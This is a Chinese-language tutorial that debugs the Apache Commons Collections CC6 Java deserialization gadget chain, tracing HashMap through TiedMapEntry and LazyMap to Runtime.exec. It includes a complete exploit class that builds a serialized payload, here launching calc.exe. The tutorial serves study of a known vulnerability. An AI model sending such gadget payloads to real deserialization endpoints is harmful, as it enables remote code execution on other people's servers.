Java反序列化:CommonsCollections6调试分析
JDK8u71大版本中AnnotationInvocationHandler.readObject被修改了,为了使得CC1能够利用,又造了一条CC6
CC6解决的是CC1在高版本 jdk 上无法利用的问题
这里搬一下web佬Boogipop的整理图:
环境搭建
- JDK测试版本:JDK 11
基础知识
1. CC1和CC6的恶意代码执行触发链
再来捋顺一下这条恶意代码触发链
LazyMap的get:
Gadget Chain:
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
在函数调用栈中可以查看,最终均由LazyMap.get()调用了transform,然后transform反射完成代码执行
而不同之处在于怎么触发LazyMap()
方法
2. LazyMap
看下LazyMap的定义,
LazyMap本身不定义映射实体(即它没有涉及到谁映射谁),它继承了AbstractMapDecorator相关方法来完成put
其主要功能是定义了这种懒加载特性
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
public static Map decorate(Map map, Factory factory) { // 本质上就是创建新的LazyMap对象
return new LazyMap(map, factory);
}
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) { // LazyMap本身不定义映射实体,所以需要放置一个Map对象
super(map); // 放入父类属性
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
private void writeObject(ObjectOutputStream out) throws IOException { // 序列化时用
out.defaultWriteObject();
out.writeObject(super.map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { // 反序列化时用
in.defaultReadObject();
super.map = (Map)in.readObject();
}
t
public Object get(Object key) { // 懒加载获取值
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key); // 获取值
super.map.put(key, value); // 调用父类映射键值对
return value;
} else {
return super.map.get(key);
}
}
}
3. TiedMapEntry
TiedMapEntry是 Apache Commons Collections 中的一个类,它是一种特定的数据结构,用于将两个 Map 对象绑定在一起,以实现双向映射(Bidirectional Map)。Apache Commons Collections 是一个 Java 库,提供了许多实用的集合类和数据结构,以扩展和增强 Java 标准库中的集合功能。
TiedMapEntry 实际上是一个包装类,用于将两个 Map 对象连接在一起,使得一个 Map 中的键可以映射到另一个 Map 中的相应值,反之亦然。这种双向映射可以方便地实现一对一或多对一的关系。
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key); // 我们只需要将this.map声明为LazyMap对象,触发getValue方法即可恶意代码执行
}
public Object setValue(Object value) {
if (value == this) {
throw new IllegalArgumentException("Cannot set value to this map entry");
} else {
return this.map.put(this.key, value);
}
}
public boolean equals(Object obj) {
if (obj == this) {
return true;
} else if (!(obj instanceof Map.Entry)) {
return false;
} else {
Map.Entry other = (Map.Entry)obj;
Object value = this.getValue();
return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
}
}
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
调试分析
1. Gadget Chain
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
2. 调试过程
- 老惯例,先查看函数调用栈
反序列化开始时,调用了ObjectInputStream的readObject方法,经过一系列的反射调用。
最终实例化调用HaspMap的readObject函数(反序列化所要操作的对象)
- 在HashMap的readObject函数中调用了Hash函数
由此进入了CommonsCollections相关类
核心调用:
HashMap.hash -> TiedMapEntry.hashCode -> TiedMapEntry.getValue -> LazyMap.get
-
调用HashMap的hash方法,然后进一步调用了TiedMapEntry的hashCode方法
-
TiedMapEntry的hashCode方法中调用了TiedMapEntry的getValue函数
- 最终实现调用了LazyMap的get函数
- 后续部分就是ChainedTransformer.transform()函数的反射调用了
EXP
关于Serialization和DeSerialization可以参考ysoserial的相关定义
一种EXP:
package CC6;
import utils.DeSerialization;
import utils.Reflection;
import utils.Serialization;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CC6EXP {
public static void main(String[] args) throws Exception{
// Transformer数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
new ConstantTransformer(1)
};
// 生成链
ChainedTransformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
// CC6相关函数进行链接
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);// 在decorate中最终调用getInstance实例,然后封装好
TiedMapEntry tme = new TiedMapEntry(outerMap, "key");
// HashMap思路
Map expMap = new HashMap();
expMap.put(tme, "value");
innerMap.remove("key");
// 因为 HashMap put 时也会调用 key.hashCode()
// 所以需要将原来的 key 删除
// 否则无法进行LazyMap进入innerMap
Reflection.setFieldValue(transformerChain, "iTransformers", transformers);
// 序列化
byte[] ObjectBytes = Serialization.serialize(expMap);
// 反序列化
DeSerialization.deserialize(ObjectBytes);
}
}
EXP的大致关系图如下
remove原因
调用栈如下:
expMap在进行put的时候,以TiedMapEntry对象为key的时候会调用到hash方法,hash方法中又调用hashCode方法
最终会进行innerMap的这一层的懒加载
如果没有remove,则无法进入innerMap的LazyMap的transform调用